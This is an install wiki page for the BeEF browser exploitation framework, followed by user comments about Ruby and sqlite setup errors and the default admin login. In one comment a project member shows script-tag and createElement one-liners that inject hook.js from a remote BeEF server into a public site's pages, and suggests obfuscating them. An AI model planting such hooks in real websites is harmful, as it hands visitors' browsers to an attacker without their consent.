My favorites | Sign in
Project Home Downloads
Search
for
Install  
Details of the install process.
Featured
Updated Nov 13, 2011 by wade@bindshell.net

Detailed platform specific guides

- Backtrack 5 Install and script

- Windows Install

General Install Steps

To Install BeEF (the version currently under development) and run:

  1. Install Ruby (also requires Ruby development headers. i.e. sudo apt-get install ruby1.8-dev)
  2. Install sqlite (On linux this MUST be done before running install.rb)
    • Sqlite support in native in MacOS 10.6+, otherwise install Xcode
    • On linux you will need to find the package specific to your distribution. An example for Ubuntu systems is: sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
    • On windows grab the zip file below and extract it to your Ruby bin directory: http://www.sqlite.org/sqlitedll-3_6_23_1.zip
  3. Download BeEF from the svn (svn checkout http://beef.googlecode.com/svn/trunk/ beef-read-only)
  4. Run 'ruby install'. On OS X you may need to install XCode anyway, since some "dm-" gems require ruby.h in order to build native extensions.
  5. Run 'ruby beef'
  6. Point a web browser at the IP and port stated

Comment by christop...@gmail.com, Apr 24, 2011

Whats the default user/pass????? My system pass does not work

Comment by ippoliti...@gmail.com, May 10, 2011

beef / beef

Comment by project member antisnatchor@gmail.com, May 10, 2011

you can change the default credentials to access the admin UI by editing the file $BeEF_root/extensions/admin_ui/config.yaml

Comment by brandone...@gmail.com, May 12, 2011

Did the RBeEF release move? It doesn't seem to at the location anymore, At least I can't see it.

Comment by project member scotty.b...@gmail.com, May 12, 2011

The RBeEF branch moved to the trunk a while ago. Updated to docco to show this.

Comment by brandone...@gmail.com, May 13, 2011

thanks Scotty, ended up finding it with help from #beefproject. Thanks!

Comment by tnx.kun...@gmail.com, Jun 3, 2011

hi everyone i get this error when installing beef :


gem install json do_sqlite3 sqlite3 dm-sqlite-adapter Building native extensions. This could take a while... ERROR: Error installing json:
ERROR: Failed to build gem native extension.

/usr/bin/ruby1.8 extconf.rb extconf.rb:1:in `require': no such file to load -- mkmf (LoadError?)

from extconf.rb:1

Gem files will remain installed in /var/lib/gems/1.8/gems/json-1.5.1 for inspection. Results logged to /var/lib/gems/1.8/gems/json-1.5.1/ext/json/ext/generator/gem_make.out


All other gems installed successfully except json ..any help

Comment by project member scotty.b...@gmail.com, Jun 4, 2011

Hi Tnx,

On Debian based machines, install the ruby-dev package first - so that you have all the required libs to build native extensions:

sudo apt-get install ruby-dev

Then try and run the installer again.

If you still have issues, please email the dev-list (beef-dev@bindshell.net) or hit us up on irc.

Comment by tnx.kun...@gmail.com, Jun 6, 2011

hi scotty.. thanx for ur help i finally got this working.. thanx again

Comment by abashkin...@gmail.com, Jun 24, 2011

Hey guys, great work so far, I'm really enjoying it. Question:

beef says it detects 2 network interfaces and seems to start running on both of them. Is this a bug or is it intentional?

[12:32:40][] 2 network interfaces were detected. [12:32:40][+] running on network interface: 127.0.1.1 [12:32:40] | Hook URL: http://127.0.1.1:3000/hook.js [12:32:40] | UI URL: http://127.0.1.1:3000/ui/panel [12:32:40][+] running on network interface: 127.0.0.1 [12:32:40] | Hook URL: http://127.0.0.1:3000/hook.js [12:32:40] | UI URL: http://127.0.0.1:3000/ui/panel [12:32:40][+] HTTP Proxy: http://127.0.0.1:6789

Comment by project member antisnatchor@gmail.com, Jun 25, 2011

By default BeEF binds to all the available network interfaces, is not a bug.

Comment by vdlinden...@gmail.com, Aug 9, 2011

Hi at all, I've installed beef like it says in the guide, but when I start beef with ruby beef it says: <internal:lib/rubygems/custom_require>:29:in `require': no such file to load -- dm-core (LoadError?)

from <internal:lib/rubygems/custom_require>:29:in `require' from /root/beef/core/loader.rb:22:in `<top (required)>' from <internal:lib/rubygems/custom_require>:29:in `require' from <internal:lib/rubygems/custom_require>:29:in `require' from ../beef:37:in `<main>'

What does this mean? Thx for your help :)

Comment by project member scotty.b...@gmail.com, Aug 10, 2011

Can you please post your questions to the mailing list:

beef-dev@bindshell.net

Comment by jordan.s...@gmail.com, Aug 21, 2011

has anyone tried to set up a beef server on something like heroku or dotcloud?

Comment by cesarqui...@gmail.com, Sep 12, 2011

I get this error: /usr/bin/env: ruby: No existe el fichero o el directorio (Neither directory or file found) when running ./install I'm using ubuntu 11 Installed ruby-dev first and then sqlite3

Comment by ch...@kustodian.com, Oct 3, 2011

I have beef working perfect. Running Ubuntu 11.04 and BeeF with metasploit and have tested it thoughly internally and externally. Now I want to looking at moving the hook.js syntax like in the default basic.html

<script>

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';

And move this to a publicly hosted wesbite. What I want to know what is the best method in this coding to point back to my ruby/beef installation ie user goes to www.public.com and the script is run on the client that reconnects back to my localbeef server (at home) not back to the public one. Now before you ask the public server is my hosted servere protected by username/password so its not public persay but Im interested in before I butcher the beef, whats the preffered process in seperating beef/ruby/demo to publicdemo and beef/ruby on another box.

Comment by project member antisnatchor@gmail.com, Oct 3, 2011

Hi there,

you have 2 options:

- directly add to the HTML of he page/footer you want the hook line

<script src="http://192.168.10.1/hook.js" type="text/javascript"></script>

- add the hook script creation directly in the middle of Javascript code, maybe obsfuscating it:
x=document.createElement('script'); x.src='http://192.168.10.1/hook.js'; x.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')0?.appendChild(x);
For JS obfuscation there are plenty of resources, but I'm assuming you're not doing bad things :-) We're not responsible if authorities catch

your BeEF server doing illegal things, please remember that ;)

Anyway, for running BeEF in "production", I suggest you using MySQL or PostgresSQL. Don't use sqlite cause it can become unstable with high amount of requests.

Cheers Michele

Comment by rssPla...@gmail.com, Oct 27, 2011

Hi, did someone install on archlinux? or tryed?

Comment by tiong1...@gmail.com, Dec 22, 2011

Hi~ I want to install beEF on my windows OS. However when i export the file from http://beef.googlecode.com/svn/trunk/ to my directory, it shows error below: REPORT of '/svn/!svn/vcc/default': Could not parse chunk size (http://beef.googlecode.com)

How to solve this error?

regards, Francis

Comment by n.visse...@gmail.com, Dec 24, 2011

Is there any way to run Beef in cygwin? It gives an error with the gems. --- install:19:in `require': no such file to load -- rubygems (LoadError?) from install:19 --- I'll just use the windows version for now

Comment by tschi...@bank4fun.it, Dec 28, 2011

i get on debian alway this error: /usr/local/lib/site_ruby/1.9.1/rubygems/custom_require.rb:36:in `require': no such file to load -- thin (LoadError?)

from /usr/local/lib/site_ruby/1.9.1/rubygems/custom_require.rb:36:in `require' from /var/www/beef/core/loader.rb:18:in `<top (required)>' from <internal:lib/rubygems/custom_require>:29:in `require' from <internal:lib/rubygems/custom_require>:29:in `require' from beef:39:in `<main>'

help please

Comment by sh3ll...@gmail.com, Jan 8, 2012

hi i'm running black ubuntu trying to get beEF install but i'm stock at this error

Welcome to the BeEF installer!

Ruby version 1.8.7 is no longer supported. Please upgrade 1.9 or later.

i have install the the lestest ruby but still no luck can any one help out please.. sh3llbac(at)gmail.com

Comment by songtong...@gmail.com, Feb 15, 2012

Hi,I an running BeEF,it needs usename and password,what's these?


Sign in to add a comment
Powered by Google Project Hosting